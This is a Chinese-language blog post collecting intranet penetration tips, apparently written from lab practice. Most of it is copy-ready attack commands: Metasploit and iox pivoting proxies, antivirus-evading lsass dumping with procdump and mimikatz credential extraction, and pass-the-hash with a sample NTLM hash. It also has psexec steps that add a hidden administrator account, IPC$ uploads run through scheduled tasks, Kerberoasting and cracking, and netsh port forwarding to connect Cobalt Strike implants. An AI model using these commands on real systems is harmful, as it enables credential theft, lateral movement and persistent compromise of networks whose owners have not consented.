内网渗透tips集合
这篇长期更,陆续记录我新学习的内网小技巧
一、iox工具的使用
最近在做一个内网渗透相关的小项目,内网很多操作还不熟,正好晚上大佬在实验室就请教了一波,lsyyyds!
没有图,我尽量详细的描述一下这个过程吧。
我现在的状况是 vps 的 msf 上添加了路由,挂了 socks4a 的代理,proxychains curl http://192.168.0.1/ 发现可以打印网页,就很想在本机的浏览器上访问一下这个内网网页,大佬推荐了 iox 工具,在 github 上直接搜,go 语言 star 最多的项目就是了。
首先根据靶机和 vps 的系统环境下载对应的 iox,然后分别上传到靶机和 vps 上面,vps 执行如下语句,注意这两个端口是有顺序的,前面的端口监听靶机的连接,后面的端口等待本机浏览器的连接。
./iox proxy -l [lport1] -l [lport2]
靶机执行如下语句,ip 为监听 vps 的 ip,执行后可以看到 vps 上面有连接成功的显示。
iox.exe proxy -r ip:lport1
浏览器再配置一下代理,代理服务器填 vps ip,代理端口填 lport2,切换到这个代理模式浏览器就可以访问内网网页啦!
二、内网端口扫描
因为我的内网操作都是靶机学来的,可能实战上面还有一点点偏差,就比如内网端口扫描我在靶机上会用 msf 挂 socks4a 代理,实战的时候发现扫描的好慢呐,今天请教了公司学长,原来使用 msf 自带的模块就可以,笔记如下:
meterpreter > run autoroute -s 192.168.0.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.0.0/255.255.255.0... [+] Added route to 192.168.0.0/255.255.255.0 via 打码.打码.打码.打码 [*] Use the -p option to list all active routes meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > route print IPv4 Active Routing Table ========================= Subnet Netmask Gateway ------ ------- ------- 192.168.0.0 255.255.255.0 Session 1 [*] There are currently no IPv6 routes defined. msf5 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp msf5 auxiliary(scanner/portscan/tcp) > options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 1000 yes The socket connect timeout in milliseconds msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.0.0/24 rhosts => 192.168.0.0/24 msf5 auxiliary(scanner/portscan/tcp) > set ports 22,21,80,443,3306,3389,8080,8000,9000,88,888,1433 ports => 22,21,80,443,3306,3389,8080,8000,9000,88,888,1433 msf5 auxiliary(scanner/portscan/tcp) > run
三、msf的socks4a代理
哈,这小节接第一小节讲,原来socks4a代理是可以让浏览器访问网页了,我绕了那么那么大一个圈,而且实验下来还很稳定,学到了学到了(run autoroute -d -s 172.2.175.0 //删除路由)
meterpreter > run autoroute -s 192.168.0.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.0.0/255.255.255.0... [+] Added route to 192.168.0.0/255.255.255.0 via 打码.打码.打码.打码 [*] Use the -p option to list all active routes meterpreter > background [*] Backgrounding session 1... msf5 auxiliary(server/socks4a) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > set srvport 43212 srvport => 43212 msf5 auxiliary(server/socks4a) > run [*] Auxiliary module running as background job 0. [*] Starting the socks4a proxy server msf5 auxiliary(server/socks4a) >
浏览器代理设置
四、mimikatz的一种免杀方式
学长说拿到服务器第一件事就是抓一下密码,在靶机上实验了一下,常规方式是管理员权限运行 mimikatz.exe,再输入以下命令
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
一种免杀方式是使用 procdump 把 lsass 进程的内存文件导出本地,再在本地利用 mimikatz 读取密码(需要注意的是从目标机器导出的 lsass.dmp 需要在相同系统下运行)
procdump.exe 下载地址 https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe
将 procdump.exe 上传到目标机器,执行命令导出 lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
五、确定机器名对应ip的技巧
ping 主机名可以获得对应的 ip
ping -n 1 -a ip 有可能获得对应的主机名
六、mimikatz导入票据
mimikatz 先清空票据,再导入票据,查看当前票据(cmd 下 klist 命令也可以查看当前票据信息)
mimikatz # kerberos::purge mimikatz # kerberos::ptt tickets mimikatz # kerberos::list
七、哈希传递攻击
mimikatz 哈希传递攻击,命令执行后弹出 cmd.exe,可以列出被哈希传递攻击靶机的 c 盘内容
mimikatz # sekurlsa::pth /user:administrator11 /domain:xxx.com /ntlm:9c4c99885e2a56f23c200ad4826d94c9
使用 psexec 工具获取 xxx.com 的 cmd,可以进行添加账号 asd 密码 Zh0u**IsB3st 等进一步操作,psexec 工具下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
PsExec64.exe \\xxx.com cmd net user asd Zh0u**IsB3st /add net localgroup administrators asd /add
八、ipc相关
建立 ipc$ 非空连接
net use \\192.168.80.131\ipc$ password /user:username
靶机的C盘映射到物理主机的Z盘
net use z: \\192.168.80.131\c$
将 cs.exe 上传到靶机
copy cs.exe \\192.168.80.131\c$
获取靶机系统时间,以便执行计划任务
net time \\192.168.80.131
at命令让计算机在规定时间执行某个应用程序
at \\192.168.80.131 15:41 C:\cs.exe
九、SPN扫描
SPN扫描也涉及到一些 Kerberos 协议的部分,大三的时候华哥讲的很清晰了,就是那时候没配合实战理解了也很快就忘记了,现在再复习一下,图片和理解的思路都来自
Kerberos简介
Kerberos 协议中主要是有三个角色
- 访问服务的 Client
- 提供服务的 Server
- 密钥分发中心KDC(Key Distribution Center)
从下图中可以看到KDC又分为两个部分:
- Authentication Server:AS的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给 Client
- Ticket Granting Server:TGS的作用是通过AS发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票ST)。ST(Service Ticket)也有资料称为 TGS Ticket
Kerberos 认证流程可以用下面两个图帮助理解
SPN简介
服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。
如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。
SPN扫描
在了解了Kerberos和SPN之后我们可以通过SPN来获取我们想要的信息,比如想知道域内哪些主机安装了什么服务,我们就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册SPN,所以可以通过“SPN扫描”的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。
Kerberoasting
在前面介绍 Kerberos 的认证流程时说到,TGS会返回给Client一张票据ST,而ST是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为RC4方式加密时,我们就可以通过爆破在 Client 端获取的票据ST,从而获得 Server 端的密码。
具体操作截图来自我打的一套靶机
查看 ack123.com 注册的SPN,发现存在SPN服务
setspn -T ack123.com -q */*
mimikatz 申请创建票据,票据为RC4加密,所以可以通过爆破的方式得到服务对应用户的密码
mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com
查看并导出票据
mimikatz kerberos::list #查看 mimikatz kerberos::list /export #导出
pwd 看一下当前路径,把票据下载回来
爆破域管密码,工具下载地址:https://github.com/nidem/kerberoast
python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 2-40a10000-12server-web2\$@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi
十、不出网主机上线cs
proxy.exe 上传到双网卡跳板机,先在这台出网主机上开启一个 8080 端口的 http 代理,然后再利用系统自带的 netsh 命令将这台主机 59 出网段的 http 代理 8080 端口转发至 22 不出网段的 8888 端口上,用于后期在 cs 监听时设置 http 代理,工具下载地址:https://github.com/snail007/goproxy/releases/tag/v11.3
proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon netsh interface portproxy add v4tov4 listenaddress=192.168.22.133 listenport=8888 connectaddress=192.168.59.135 connectport=8080
创建挂代理的监听器,HTTP Proxy 填写内网网段地址
然后生成木马,在不出网机运行后 cs 成功上线